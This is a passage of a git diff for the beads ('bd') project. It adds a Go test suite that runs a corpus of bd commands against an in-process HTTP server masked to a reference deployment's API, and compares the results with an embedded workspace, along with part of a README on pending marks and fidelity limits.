{slice, reason}` marks a known failure and names the slice or +slices that fix it, for example `S6c+S15`. A pending shape **still runs**: +- while it fails, the subtest is skipped and the skip records what was + observed; +- once it passes, the subtest fails with "now passes; remove the pending + mark". + +So removing a mark is how a slice proves itself, and any other failure is +unexpected and fails the suite. + +## Updating the reference profile + +`reference_server.json` was derived from two things: +- the deployed server's live `GET /v0/beads/context` capabilities; +- its published OpenAPI document (bd 1.3.0, no `wire_revision`). For each + operation the profile keeps the method, the path template, the query + parameter names, and the top-level request members. + +When the deployed server is upgraded (SRV-1), regenerate the file the same +way. Then remove the `SRV-1` pending marks that now pass. + +## Known fidelity limits + +- Responses pass through unfiltered. A response member the reference server + would not send still reaches the client. +- Only top-level request members are checked; nested members (for example + `batchApply` items) are not. +- The served backend underneath is embedded Dolt, not the reference + deployment's storage backend. +- Out of scope, because they are local by design or never touch a remote + store: `init`, `bootstrap`, `migrate`, `doctor`, `flatten`, `gc`, and the + `dolt` subcommands. `context`, `version`, `backup status` and `prime` + are in the corpus, but only checked for exit codes. diff --git a/backend/http/corpus/corpus_test.go b/backend/http/corpus/corpus_test.go new file mode 100644 index 000000000..96a3b095e --- /dev/null +++ b/backend/http/corpus/corpus_test.go @@ -0,0 +1,817 @@ +//go:build cgo + +// Package corpus_test is the served command-corpus suite: every distinct bd +// command shape an orchestrator (gc) and its packs/formulas issue, run by the +// real bd binary against an in-process bd serve masked to a reference +// deployment's wire surface, and compared with the same command on an embedded +// workspace. See README.md. +package corpus_test + +import ( + "encoding/json" + "fmt" + "os" + "path/filepath" + "reflect" + "regexp" + "sort" + "strconv" + "strings" + "testing" + + "gopkg.in/yaml.v3" +) + +// corpusFile is testdata/corpus.yaml. +type corpusFile struct { + Files []corpusAsset `yaml:"files"` + Seed [][]string `yaml:"seed"` + Shapes []shape `yaml:"shapes"` +} + +// corpusAsset is a file the shapes reference as {file:NAME}. Exactly one of +// Content and Bulk is set. +type corpusAsset struct { + Name string `yaml:"name"` + Content string `yaml:"content"` + Bulk *bulkGraph `yaml:"bulk"` +} + +// bulkGraph generates a `bd create --graph` plan of Count independent tasks +// with ids IDPrefix-001.. so the suite can hold more rows than one server page +// without a 100-line literal in the corpus. +type bulkGraph struct { + IDPrefix string `yaml:"id_prefix"` + Count int `yaml:"count"` + Priority int `yaml:"priority"` + Ephemeral bool `yaml:"ephemeral"` + Metadata map[string]string `yaml:"metadata"` +} + +type shape struct { + ID string `yaml:"id"` + Source string `yaml:"source"` + // Args is the bd argv. Tokens may carry {file:NAME} (the side's copy of a + // corpus asset) and {rev:ID} (that side's current revision of ID). + Args []string `yaml:"args"` + Stdin string `yaml:"stdin"` + Setup [][]string `yaml:"setup"` + // Compare is how the served stdout is held to the embedded stdout: + // json (default), ids, count, text, or exit (exit code only). + Compare string `yaml:"compare"` + // Ordered keeps array order significant under json/ids. + Ordered bool `yaml:"ordered"` + // PrefixOf is the unlimited form of a limited listing (compare: ids). A + // limit cut through a tie set (same priority, created_at within one + // second) lands at a different row on two workspaces seeded seconds + // apart, so the limited rows are not compared across sides. Instead each + // side's limited rows must be, in order, a prefix of that SAME side's + // PrefixOf listing, both sides must return as many rows, and the two + // PrefixOf listings must hold the same ids. + PrefixOf []string `yaml:"prefix_of"` + // IgnoreFields are extra JSON keys dropped before comparing. + IgnoreFields []string `yaml:"ignore_fields"` + // ExpectExit is the exit code both sides must produce (default 0). An + // allowlisted shape must state it: the embedded run is held to it even + // though the served run is only held to the allowlisted refusal. + ExpectExit *int `yaml:"expect_exit"` + // ExpectStderr, when set, must match both sides' stderr (only the + // embedded side's on an allowlisted shape). + ExpectStderr string `yaml:"expect_stderr"` + // Verify are reads run on both sides after the shape and compared as json: + // how a write is checked for having done the same thing on both backends. + Verify [][]string `yaml:"verify"` + // Pending marks a known failure and names the slice that fixes it. + Pending *pending `yaml:"pending"` +} + +// wantExit is the exit code the embedded run must produce. +func (s shape) wantExit() int { + if s.ExpectExit == nil { + return 0 + } + return *s.ExpectExit +} + +type pending struct { + Slice string `yaml:"slice"` + Reason string `yaml:"reason"` +} + +// allowEntry is testdata/allowlist.yaml: a shape that is EXPECTED to be +// refused over http, permanently, for a stated reason. The served run must +// fail and match Refusal; if it ever succeeds the entry is stale and fails. +// The embedded run is still held to the shape's expect_exit and +// expect_stderr, and nothing else of the shape is checked. +type allowEntry struct { + ID string `yaml:"id"` + Reason string `yaml:"reason"` + Refusal string `yaml:"refusal"` +} + +// refusalMarkers are the texts a refusal of an operation over http carries: +// issueops.ErrUnsupported, encode.RefusedError, the client's capability +// preflight (wire.CapabilityError, which never reaches the proxy), the +// server's loopback-only unlimited-read 400, an unrouted 404, and a strict +// decoder's unknown member. +var refusalMarkers = regexp.MustCompile(`(?i)not supported by the|not expressible on the v0 wire|loopback-only|capability "[^"]+" not advertised|does not advertise capability|no such route on this server|unknown_parameter|unknown query parameter|json: unknown field`) + +// volatileKey names JSON members that legitimately differ between two +// workspaces fed the same commands: timestamps and revision tokens. +var volatileKey = regexp.MustCompile(`(^|_)at$|^revision$|^row_version$|^expected_revision$|^current_revision$`) + +// callerTimeKey names the timestamps a shape's own arguments set (bd create +// --defer, --due). They are compared as given, neither dropped as volatile +// nor scrubbed to , so a client that sends the wrong one fails; a shape +// must give them as absolute dates, since a relative one resolves against +// each side's own clock. +var callerTimeKey = map[string]bool{"defer_until": true, "due_at": true} + +var timestampText = regexp.MustCompile(`\d{4}-\d{2}-\d{2}[T ]\d{2}:\d{2}(:\d{2}(\.\d+)?)?(Z|[+-]\d{2}:?\d{2})?`) + +func loadCorpus(t *testing.T) (*corpusFile, map[string]allowEntry) { + t.Helper() + raw, err := os.ReadFile("testdata/corpus.yaml") + if err != nil { + t.Fatalf("read corpus: %v", err) + } + var c corpusFile + dec := yaml.NewDecoder(strings.NewReader(string(raw))) + dec.KnownFields(true) + if err := dec.Decode(&c); err != nil { + t.Fatalf("parse testdata/corpus.yaml: %v", err) + } + rawAllow, err := os.ReadFile("testdata/allowlist.yaml") + if err != nil { + t.Fatalf("read allowlist: %v", err) + } + var entries []allowEntry + dec = yaml.NewDecoder(strings.NewReader(string(rawAllow))) + dec.KnownFields(true) + if err := dec.Decode(&entries); err != nil { + t.Fatalf("parse testdata/allowlist.yaml: %v", err) + } + allow := map[string]allowEntry{} + for _, e := range entries { + if e.ID == "" || strings.TrimSpace(e.Reason) == "" || e.Refusal == "" { + t.Fatalf("allowlist entry %+v needs id, reason and refusal", e) + } + allow[e.ID] = e + } + return &c, allow +} + +// TestCorpusFileIsWellFormed runs without the embedded engine: it keeps the +// data honest (unique ids, a source and a slice for every pending mark, no +// allowlist entry for a shape that does not exist, no shape both pending and +// allowlisted, an allowlisted shape states its embedded exit code and +// carries no check that the allowlist would skip, every expect_stderr and +// refusal compiles, and the reference profile loads). +func TestCorpusFileIsWellFormed(t *testing.T) { + c, allow := loadCorpus(t) + seen := map[string]bool{} + for _, s := range c.Shapes { + if s.ID == "" || len(s.Args) == 0 { + t.Errorf("shape %+v needs an id and args", s) + continue + } + if seen[s.ID] { + t.Errorf("duplicate shape id %q", s.ID) + } + seen[s.ID] = true + if strings.TrimSpace(s.Source) == "" { + t.Errorf("shape %s names no source", s.ID) + } + if s.Pending != nil && (s.Pending.Slice == "" || strings.TrimSpace(s.Pending.Reason) == "") { + t.Errorf("shape %s is pending without a slice and a reason", s.ID) + } + if _, ok := allow[s.ID]; ok { + if s.Pending != nil { + t.Errorf("shape %s is both pending and allowlisted; pick one", s.ID) + } + if s.ExpectExit == nil { + t.Errorf("shape %s is allowlisted without expect_exit; state the exit code the embedded run must produce", s.ID) + } + if modeOf(s) != "exit" || len(s.Verify) > 0 { + t.Errorf("shape %s is allowlisted, so only its exit code and stderr are checked; give it compare: exit and no verify", s.ID) + } + } + switch s.Compare { + case "", "json", "ids", "count", "text", "exit": + default: + t.Errorf("shape %s: unknown compare mode %q", s.ID, s.Compare) + } + if len(s.PrefixOf) > 0 && s.Compare != "ids" { + t.Errorf("shape %s: prefix_of needs compare: ids", s.ID) + } + if _, err := regexp.Compile(s.ExpectStderr); err != nil { + t.Errorf("shape %s: expect_stderr: %v", s.ID, err) + } + } + for id, entry := range allow { + if !seen[id] { + t.Errorf("allowlist names %q, which is not a corpus shape", id) + } + if _, err := regexp.Compile(entry.Refusal); err != nil { + t.Errorf("allowlist entry %s: refusal: %v", id, err) + } + } + for _, a := range c.Files { + if (a.Content == "") == (a.Bulk == nil) { + t.Errorf("asset %s needs exactly one of content and bulk", a.Name) + } + } + loadReferenceProfile(t) +} + +// side is one workspace the corpus runs in. +type side struct { + name string + dir string + files string + env []string +} + +type outcome struct { + id, status, detail string + requests int64 +} + +// TestServedCorpus is the suite. Each shape is a subtest; a pending shape is +// still RUN and then skipped with what it did, so a slice that fixes it sees +// the subtest fail with "now passes; remove the pending mark". +// BEADS_CORPUS_SKIP_PENDING=1 skips pending shapes without running them. +// BEADS_CORPUS_REPORT= writes a JSON summary. +func TestServedCorpus(t *testing.T) { + skipUnlessEmbeddedDolt(t) + c, allow := loadCorpus(t) + profile := loadReferenceProfile(t) + bin := buildBD(t) + + serverAddr := startCorpusServer(t) + proxy := newReferenceProxy(t, profile, serverAddr) + proxyAddr := startProxy(t, proxy) + + common := []string{ + "BEADS_ACTOR=worker", + "CLAUDE_SESSION_ID=corpus-session-s23", + "BD_BACKUP_ENABLED=false", + "BD_EXPORT_AUTO=false", + } + served := &side{name: "served", dir: t.TempDir(), files: t.TempDir(), + env: append([]string{"BEADS_HTTP_TOKEN=" + proxyAddr + "=" + corpusToken}, common...)} + local := &side{name: "embedded", dir: t.TempDir(), files: t.TempDir(), env: common} + + if r := runBD(t, bin, served.dir, served.env, "", "connect", "http://"+proxyAddr, "--expect-project-id", corpusProjectID, "--json"); r.code != 0 { + t.Fatalf("bd connect: %s", r) + } + if r := runBD(t, bin, local.dir, local.env, "", "init", "-p", corpusPrefix, "--non-interactive", "--skip-hooks", "--skip-agents", "-q"); r.code != 0 { + t.Fatalf("bd init (embedded): %s", r) + } + for _, sd := range []*side{served, local} { + writeAssets(t, c.Files, sd.files) + } + for _, args := range c.Seed { + for _, sd := range []*side{served, local} { + argv := expand(t, bin, sd, args) + if r := runBD(t, bin, sd.dir, sd.env, "", argv...); r.code != 0 { + t.Fatalf("seed %v on %s failed; the seed must use shapes that work on the reference profile: %s", args, sd.name, r) + } + } + } + proxy.takeRefusals() + + skipPending := os.Getenv("BEADS_CORPUS_SKIP_PENDING") == "1" + var outcomes []outcome + for _, s := range c.Shapes { + s := s + t.Run(s.ID, func(t *testing.T) { + o := outcome{id: s.ID} + defer func() { outcomes = append(outcomes, o) }() + if s.Pending != nil && skipPending { + o.status = "pending:" + s.Pending.Slice + t.Skipf("pending %s: %s", s.Pending.Slice, s.Pending.Reason) + } + before := proxy.requests.Load() + failures := runShape(t, bin, s, served, local, allow, proxy) + o.requests = proxy.requests.Load() - before + entry, allowed := allow[s.ID] + switch { + case hasCorpusBug(failures): + // The embedded side itself disagrees with the corpus: no pending + // mark or allowlist entry may hide that, or a pending shape that + // can never pass would sit in the corpus forever. + o.status = "FAIL(corpus)" + o.detail = failures[0] + for _, f := range failures { + t.Error(f) + } + case s.Pending != nil && len(failures) == 0: + o.status = "FAIL(pending-now-passes)" + t.Errorf("shape is marked pending %s but now passes on the reference profile; remove the pending mark from testdata/corpus.yaml", s.Pending.Slice) + case s.Pending != nil: + o.status = "pending:" + s.Pending.Slice + o.detail = failures[0] + t.Skipf("pending %s: %s\nobserved:\n%s", s.Pending.Slice, s.Pending.Reason, strings.Join(failures, "\n")) + case len(failures) > 0: + o.status = "FAIL" + o.detail = failures[0] + for _, f := range failures { + t.Error(f) + } + case allowed: + o.status = "allowed" + o.detail = entry.Reason + default: + o.status = "pass" + } + }) + } + + summarize(t, outcomes) +} + +// runShape runs one shape on both sides and returns every way the served run +// fell short. It never calls t.Error itself, so the caller can turn a pending +// shape's failures into a skip. +func runShape(t *testing.T, bin string, s shape, served, local *side, allow map[string]allowEntry, proxy *referenceProxy) []string { + t.Helper() + var fails []string + failf := func(format string, a ...any) { fails = append(fails, fmt.Sprintf(format, a...)) } + wantStderr, err := regexp.Compile(s.ExpectStderr) + if err != nil { + failf("CORPUS BUG: expect_stderr %q: %v", s.ExpectStderr, err) + return fails + } + + for _, args := range s.Setup { + for _, sd := range []*side{served, local} { + if r := runBD(t, bin, sd.dir, sd.env, "", expand(t, bin, sd, args)...); r.code != 0 { + failf("setup %v failed on %s: %s", args, sd.name, r) + return fails + } + } + } + proxy.takeRefusals() + sr := runBD(t, bin, served.dir, served.env, s.Stdin, expand(t, bin, served, s.Args)...) + wireRefusals := proxy.takeRefusals() + lr := runBD(t, bin, local.dir, local.env, s.Stdin, expand(t, bin, local, s.Args)...) + t.Logf("bd %s\nserved: %s\nembedded: exit=%d", strings.Join(s.Args, " "), sr, lr.code) + if len(wireRefusals) > 0 { + t.Logf("reference-profile refusals on the wire: %v", wireRefusals) + } + + // The embedded run is the oracle for every shape, an allowlisted one + // included: when it no longer does what the shape says, the shape is + // wrong or bd changed, whatever the served run did. + if lr.code != s.wantExit() { + failf("CORPUS BUG: the embedded run exited %d, want %d; the shape itself is wrong or bd changed: %s", lr.code, s.wantExit(), lr) + return fails + } + if s.ExpectStderr != "" && !wantStderr.MatchString(lr.stderr) { + failf("CORPUS BUG: embedded stderr does not match %q: %s", s.ExpectStderr, lr.stderr) + return fails + } + + if entry, ok := allow[s.ID]; ok { + re, err := regexp.Compile(entry.Refusal) + if err != nil { + failf("allowlist refusal regexp for %s: %v", s.ID, err) + return fails + } + if sr.code == 0 { + failf("allowlisted (%s) but the served run SUCCEEDED; drop it from testdata/allowlist.yaml and give it a comparison", entry.Reason) + } else if !re.MatchString(sr.stderr + sr.stdout) { + failf("allowlisted refusal did not match %q (a different failure than the one allowed): %s", entry.Refusal, sr) + } + return fails + } + + if m := refusalMarkers.FindString(sr.stderr + sr.stdout); m != "" { + failf("served run carries a refusal (%q): %s", m, sr) + } else if len(wireRefusals) > 0 && sr.code != 0 { + failf("served run failed on a reference-profile refusal %v: %s", wireRefusals, sr) + } + if sr.code != lr.code { + failf("exit code: served %d, embedded %d: %s", sr.code, lr.code, sr) + } + if s.ExpectStderr != "" && !wantStderr.MatchString(sr.stderr) { + failf("served stderr does not match %q (embedded does): %s", s.ExpectStderr, sr) + } + if len(fails) > 0 { + return fails + } + if len(s.PrefixOf) > 0 { + vs := runBD(t, bin, served.dir, served.env, "", expand(t, bin, served, s.PrefixOf)...) + vl := runBD(t, bin, local.dir, local.env, "", expand(t, bin, local, s.PrefixOf)...) + if vs.code != 0 || vl.code != 0 { + failf("prefix_of %v: exit served %d, embedded %d: served %s", s.PrefixOf, vs.code, vl.code, vs) + } else if d := comparePrefix(sr.stdout, lr.stdout, vs.stdout, vl.stdout); d != "" { + failf("output parity (ids, prefix_of): %s", d) + } + } else if d := compareOutputs(s, sr.stdout, lr.stdout); d != "" { + failf("output parity (%s): %s", modeOf(s), d) + } + for _, args := range s.Verify { + vs := runBD(t, bin, served.dir, served.env, "", expand(t, bin, served, args)...) + vl := runBD(t, bin, local.dir, local.env, "", expand(t, bin, local, args)...) + if vs.code != vl.code { + failf("verify %v: exit served %d, embedded %d: served %s", args, vs.code, vl.code, vs) + continue + } + if vl.code != 0 { + continue // both refused the read (e.g. a deleted id): equal is the check + } + if d := compareJSON(vs.stdout, vl.stdout, s.IgnoreFields, false); d != "" { + failf("verify %v diverged after the write: %s", args, d) + } + } + return fails +} + +func hasCorpusBug(failures []string) bool { + for _, f := range failures { + if strings.HasPrefix(f, "CORPUS BUG") { + return true + } + } + return false +} + +func modeOf(s shape) string { + if s.Compare == "" { + return "json" + } + return s.Compare +} + +func compareOutputs(s shape, served, local string) string { + switch modeOf(s) { + case "exit": + return "" + case "text": + a, b := scrubText(served), scrubText(local) + if a != b { + return fmt.Sprintf("text differs\nserved:\n%s\nembedded:\n%s", clip(a, 3000), clip(b, 3000)) + } + return "" + case "count": + a, errA := topLevelLen(served) + b, errB := topLevelLen(local) + if errA != nil || errB != nil { + return fmt.Sprintf("count: served err=%v embedded err=%v\nserved:\n%s", errA, errB, clip(served, 2000)) + } + if a != b { + return fmt.Sprintf("row count: served %d, embedded %d", a, b) + } + return "" + case "ids": + a, errA := idList(served, s.Ordered) + b, errB := idList(local, s.Ordered) + if errA != nil || errB != nil { + return fmt.Sprintf("ids: served err=%v embedded err=%v\nserved:\n%s", errA, errB, clip(served, 2000)) + } + if !reflect.DeepEqual(a, b) { + return fmt.Sprintf("ids differ\nserved (%d): %v\nembedded (%d): %v", len(a), a, len(b), b) + } + return "" + default: + return compareJSON(served, local, s.IgnoreFields, s.Ordered) + } +} + +// comparePrefix holds a limited listing to its unlimited form on each side: +// see shape.PrefixOf. +func comparePrefix(served, local, servedAll, localAll string) string { + lists := make([][]string, 4) + for i, out := range []string{served, local, servedAll, localAll} { + ids, err := idList(out, true) + if err != nil { + return fmt.Sprintf("listing %d: %v\n%s", i, err, clip(out, 2000)) + } + lists[i] = ids + } + s, l, sAll, lAll := lists[0], lists[1], lists[2], lists[3] + if len(s) != len(l) { + return fmt.Sprintf("row count: served %d, embedded %d", len(s), len(l)) + } + for _, c := range []struct { + name string + rows, all []string + }{{"served", s, sAll}, {"embedded", l, lAll}} { + if len(c.rows) > len(c.all) || !reflect.DeepEqual(c.rows, c.all[:len(c.rows)]) { + return fmt.Sprintf("%s limited rows are not a prefix of its own unlimited listing\nlimited: %v\nunlimited: %v", c.name, c.rows, c.all) + } + } + sSet := append([]string(nil), sAll...) + lSet := append([]string(nil), lAll...) + sort.Strings(sSet) + sort.Strings(lSet) + if !reflect.DeepEqual(sSet, lSet) { + return fmt.Sprintf("unlimited ids differ\nserved (%d): %v\nembedded (%d): %v", len(sSet), sSet, len(lSet), lSet) + } + return "" +} + +func scrubText(s string) string { + return strings.TrimSpace(timestampText.ReplaceAllString(s, "")) +} + +func decode(s string) (any, error) { + var v any + if err := json.Unmarshal([]byte(strings.TrimSpace(s)), &v); err != nil { + return nil, fmt.Errorf("not JSON: %w", err) + } + return v, nil +} + +// rows finds the row array in a bd --json payload: the payload itself, or the +// first array member of an envelope object. +func rows(v any) ([]any, bool) { + switch x := v.(type) { + case []any: + return x, true + case map[string]any: + for _, k := range []string{"issues", "data", "items", "results"} { + if arr, ok := x[k].([]any); ok { + return arr, true + } + } + } + return nil, false +} + +func topLevelLen(s string) (int, error) { + v, err := decode(s) + if err != nil { + return 0, err + } + arr, ok := rows(v) + if !ok { + return 0, fmt.Errorf("no row array in output") + } + return len(arr), nil +} + +func idList(s string, ordered bool) ([]string, error) { + v, err := decode(s) + if err != nil { + return nil, err + } + arr, ok := rows(v) + if !ok { + return nil, fmt.Errorf("no row array in output") + } + out := []string{} + for _, r := range arr { + if m, ok := r.(map[string]any); ok { + if id, ok := m["id"].(string); ok { + out = append(out, id) + } + } + } + if !ordered { + sort.Strings(out) + } + return out, nil +} + +func compareJSON(served, local string, ignore []string, ordered bool) string { + a, errA := decode(served) + b, errB := decode(local) + if errA != nil || errB != nil { + return fmt.Sprintf("served err=%v embedded err=%v\nserved:\n%s\nembedded:\n%s", errA, errB, clip(served, 2000), clip(local, 2000)) + } + drop := map[string]bool{} + for _, k := range ignore { + drop[k] = true + } + a, b = normalize(a, drop, ordered), normalize(b, drop, ordered) + if path, x, y, same := firstDiff("$", a, b); !same { + return fmt.Sprintf("first difference at %s: served=%s embedded=%s", path, brief(x), brief(y)) + } + return "" +} + +func normalize(v any, drop map[string]bool, ordered bool) any { + switch x := v.(type) { + case map[string]any: + out := make(map[string]any, len(x)) + for k, val := range x { + if drop[k] { + continue + } + if callerTimeKey[k] { + out[k] = val + continue + } + if volatileKey.MatchString(k) { + continue + } + out[k] = normalize(val, drop, ordered) + } + return out + case []any: + out := make([]any, len(x)) + for i, e := range x { + out[i] = normalize(e, drop, ordered) + } + if !ordered { + sort.SliceStable(out, func(i, j int) bool { return sortKey(out[i]) < sortKey(out[j]) }) + } + return out + case string: + return timestampText.ReplaceAllString(x, "") + default: + return v + } +} + +func sortKey(v any) string { + if m, ok := v.(map[string]any); ok { + for _, k := range []string{"id", "issue_id", "key"} { + if s, ok := m[k].(string); ok { + return k + "=" + s + } + } + if inner, ok := m["issue"].(map[string]any); ok { + if s, ok := inner["id"].(string); ok { + return "issue.id=" + s + } + } + } + raw, _ := json.Marshal(v) + return string(raw) +} + +func firstDiff(path string, a, b any) (string, any, any, bool) { + switch x := a.(type) { + case map[string]any: + y, ok := b.(map[string]any) + if !ok { + return path, a, b, false + } + keys := map[string]bool{} + for k := range x { + keys[k] = true + } + for k := range y { + keys[k] = true + } + sorted := make([]string, 0, len(keys)) + for k := range keys { + sorted = append(sorted, k) + } + sort.Strings(sorted) + for _, k := range sorted { + xv, xok := x[k] + yv, yok := y[k] + if !xok || !yok { + return path + "." + k, xv, yv, false + } + if p, l, r, same := firstDiff(path+"."+k, xv, yv); !same { + return p, l, r, false + } + } + return "", nil, nil, true + case []any: + y, ok := b.([]any) + if !ok { + return path, a, b, false + } + if len(x) != len(y) { + return path + ".length", len(x), len(y), false + } + for i := range x { + if p, l, r, same := firstDiff(path+"["+strconv.Itoa(i)+"]", x[i], y[i]); !same { + return p, l, r, false + } + } + return "", nil, nil, true + default: + if reflect.DeepEqual(a, b) { + return "", nil, nil, true + } + return path, a, b, false + } +} + +func brief(v any) string { + if v == nil { + return "" + } + raw, _ := json.Marshal(v) + return clip(string(raw), 400) +} + +var placeholder = regexp.MustCompile(`\{(file|rev):([^}]+)\}`) + +// expand substitutes {file:NAME} and {rev:ID} in args for side sd. +func expand(t *testing.T, bin string, sd *side, args []string) []string { + t.Helper() + out := make([]string, len(args)) + for i, a := range args { + out[i] = placeholder.ReplaceAllStringFunc(a, func(m string) string { + parts := placeholder.FindStringSubmatch(m) + switch parts[1] { + case "file": + return filepath.Join(sd.files, parts[2]) + default: + r := runBD(t, bin, sd.dir, sd.env, "", "show", parts[2], "--json") + if r.code != 0 { + t.Logf("{rev:%s} on %s: show failed: %s", parts[2], sd.name, r) + return "0" + } + v, err := decode(r.stdout) + if err != nil { + return "0" + } + if arr, ok := rows(v); ok && len(arr) > 0 { + v = arr[0] + } + if m, ok := v.(map[string]any); ok { + if rev, ok := m["revision"].(string); ok { + return rev + } + } + return "0" + } + }) + } + return out +} + +func writeAssets(t *testing.T, assets []corpusAsset, dir string) { + t.Helper() + for _, a := range assets { + content := a.Content + if a.Bulk != nil { + content = bulkPlan(*a.Bulk) + } + if err := os.WriteFile(filepath.Join(dir, a.Name), []byte(content), 0o600); err != nil { + t.Fatalf("write asset %s: %v", a.Name, err) + } + } +} + +func bulkPlan(b bulkGraph) string { + type node struct { + Key string `json:"key"` + ID string `json:"id"` + Title string `json:"title"` + Type string `json:"type"` + Priority int `json:"priority"` + Ephemeral bool `json:"ephemeral,omitempty"` + Metadata map[string]string `json:"metadata,omitempty"` + } + plan := struct { + CommitMessage string `json:"commit_message"` + Nodes []node `json:"nodes"` + }{CommitMessage: "corpus bulk " + b.IDPrefix} + for i := 1; i <= b.Count; i++ { + id := fmt.Sprintf("%s-%03d", b.IDPrefix, i) + plan.Nodes = append(plan.Nodes, node{Key: id, ID: id, Title: "bulk " + id, Type: "task", + Priority: b.Priority, Ephemeral: b.Ephemeral, Metadata: b.Metadata}) + } + raw, _ := json.MarshalIndent(plan, "", " ") + return string(raw) +} + +func summarize(t *testing.T, outcomes []outcome) { + t.Helper() + counts := map[string]int{} + var lines []string + for _, o := range outcomes { + key := o.status + if strings.HasPrefix(key, "pending:") { + key = "pending" + } + counts[key]++ + lines = append(lines, fmt.Sprintf("%-26s %-48s req=%-3d %s", o.status, o.id, o.requests, firstLine(o.detail))) + } + t.Logf("corpus summary: %v\n%s", counts, strings.Join(lines, "\n")) + if path := os.Getenv("BEADS_CORPUS_REPORT"); path != "" { + type row struct { + ID string `json:"id"` + Status string `json:"status"` + Requests int64 `json:"requests"` + Detail string `json:"detail,omitempty"` + } + var out []row + for _, o := range outcomes { + out = append(out, row{o.id, o.status, o.requests, o.detail}) + } + raw, _ := json.MarshalIndent(out, "", " ") + if err := os.WriteFile(path, raw, 0o600); err != nil { + t.Errorf("write BEADS_CORPUS_REPORT: %v", err) + } + } +} + +func firstLine(s string) string { + s = strings.TrimSpace(s) + if i := strings.IndexByte(s, '\n'); i >= 0 { + s = s[:i] + } + return clip(s, 160) +} diff --git a/backend/http/corpus/harness_test.go b/backend/http/corpus/harness_test.go new file mode 100644 index 000000000..3b93d0473 --- /dev/null +++ b/backend/http/corpus/harness_test.go @@ -0,0 +1,312 @@ +//go:build cgo + +package corpus_test + +import ( + "context" + "errors" + "fmt" + "io" + "net" + "net/http" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "sync" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpapi" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/testutil/bazeltest" +) + +const ( + corpusProjectID = "proj-corpus-s23" + corpusDatabase = "corpus" + corpusPrefix = "e2e" + // corpusToken is the bearer the in-process server accepts. The reference + // deployment authenticates every request, so the suite does too. + // #nosec G101 -- a throwaway test credential for an httptest-scoped server. + corpusToken = "corpus-s23-test-token" + // bdTimeout bounds one bd subprocess so a hung shape fails rather than + // stalling the whole suite. + bdTimeout = 90 * time.Second +) + +// startCorpusServer binds the in-process server the way the reference +// deployment is bound: AllowNonLoopback with a bearer token file. The socket is +// still 127.0.0.1 (this suite never leaves the host), but every behavior the +// server keys off its bind mode — the loopback-only refusal of an unlimited +// read above all — is the non-loopback one, because that is decided by +// Config.AllowNonLoopback and not by the address. +func startCorpusServer(t *testing.T) string { + t.Helper() + beadsDir := t.TempDir() + ctx := context.Background() + store, err := embeddeddolt.Open(ctx, beadsDir, corpusDatabase, "main") + if err != nil { + t.Fatalf("open the served store: %v", err) + } + t.Cleanup(func() { _ = store.Close() }) + if err := store.SetConfig(ctx, "issue_prefix", corpusPrefix); err != nil { + t.Fatalf("set the issue prefix: %v", err) + } + + tokenFile := filepath.Join(t.TempDir(), "tokens") + if err := os.WriteFile(tokenFile, []byte(corpusToken+"\n"), 0o600); err != nil { + t.Fatalf("write the token file: %v", err) + } + auth, err := httpapi.NewTokenFileAuth(tokenFile) + if err != nil { + t.Fatalf("load the token file: %v", err) + } + + cfg := corpusServeConfig(t, store) + cfg.AllowNonLoopback = true + cfg.Auth = auth + srv, err := httpapi.Listen(cfg) + if err != nil { + t.Fatalf("bind the in-process server: %v", err) + } + serveCtx, cancel := context.WithCancel(context.Background()) + done := make(chan struct{}) + go func() { defer close(done); _ = srv.Serve(serveCtx) }() + t.Cleanup(func() { + cancel() + select { + case <-done: + case <-time.After(30 * time.Second): + t.Error("the in-process server did not shut down") + } + }) + return srv.Addr() +} + +// startProxy serves h on an ephemeral loopback port. +func startProxy(t *testing.T, h http.Handler) string { + t.Helper() + srv := &http.Server{Handler: h, ReadHeaderTimeout: 10 * time.Second} + ln, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatalf("listen for the reference proxy: %v", err) + } + go func() { _ = srv.Serve(ln) }() + t.Cleanup(func() { _ = srv.Close() }) + return ln.Addr().String() +} + +// corpusServeConfig takes every role off the store, as bd serve does. It +// mirrors backend/http's e2eServeConfig (a sibling test package, so it cannot +// be imported). +func corpusServeConfig(t *testing.T, s storage.DoltStorage) httpapi.Config { + t.Helper() + cfg := httpapi.Config{ + Addr: "127.0.0.1:0", + Stdout: io.Discard, + Stderr: io.Discard, + Workspace: domain.ContextInfo{ProjectID: corpusProjectID, Database: corpusDatabase}, + } + var err error + must := func(name string) { + t.Helper() + if err != nil { + t.Fatalf("%s(): %v", name, err) + } + } + cfg.Reader, err = s.IssueReader() + must("IssueReader") + cfg.Claimer, err = s.IssueClaimer() + must("IssueClaimer") + cfg.ReadyClaimer, err = s.ReadyClaimer() + must("ReadyClaimer") + cfg.Releaser, err = s.Releaser() + must("Releaser") + cfg.Lifecycle, err = s.IssueLifecycle() + must("IssueLifecycle") + cfg.Settings, err = s.WorkspaceConfig() + must("WorkspaceConfig") + cfg.Stats, err = s.StatsReporter() + must("StatsReporter") + cfg.CycleDetector, err = s.CycleDetector() + must("CycleDetector") + cfg.EdgeReader, err = s.EdgeReader() + must("EdgeReader") + cfg.GraphCounter, err = s.GraphCounter() + must("GraphCounter") + cfg.BatchGetter, err = s.BatchGetter() + must("BatchGetter") + cfg.LeaseReclaimer, err = s.LeaseReclaimer() + must("LeaseReclaimer") + cfg.Relations, err = s.IssueRelations() + must("IssueRelations") + cfg.Commenter, err = s.Commenter() + must("Commenter") + cfg.BlockingAnnotator, err = s.BlockingAnnotator() + must("BlockingAnnotator") + cfg.TreeWalker, err = s.TreeWalker() + must("TreeWalker") + cfg.ReadyCounter, err = s.ReadyCounter() + must("ReadyCounter") + cfg.Counter, err = s.Counter() + must("Counter") + cfg.Querier, err = s.Querier() + must("Querier") + cfg.Sweeper, err = s.Sweeper() + must("Sweeper") + cfg.Deleter, err = s.Deleter() + must("Deleter") + cfg.BatchCreator, err = s.BatchCreator() + must("BatchCreator") + cfg.BatchCloser, err = s.BatchCloser() + must("BatchCloser") + cfg.DependencyEditor, err = s.DependencyEditor() + must("DependencyEditor") + cfg.MetadataCAS, err = s.MetadataCAS() + must("MetadataCAS") + cfg.BatchApplier, err = s.BatchApplier() + must("BatchApplier") + cfg.Memories, err = s.Memories() + must("Memories") + return cfg +} + +// This file is the corpus tier's cgo half; see TestCorpusTierIsLinkedWhenRequired. +func init() { corpusTierLinked = true } + 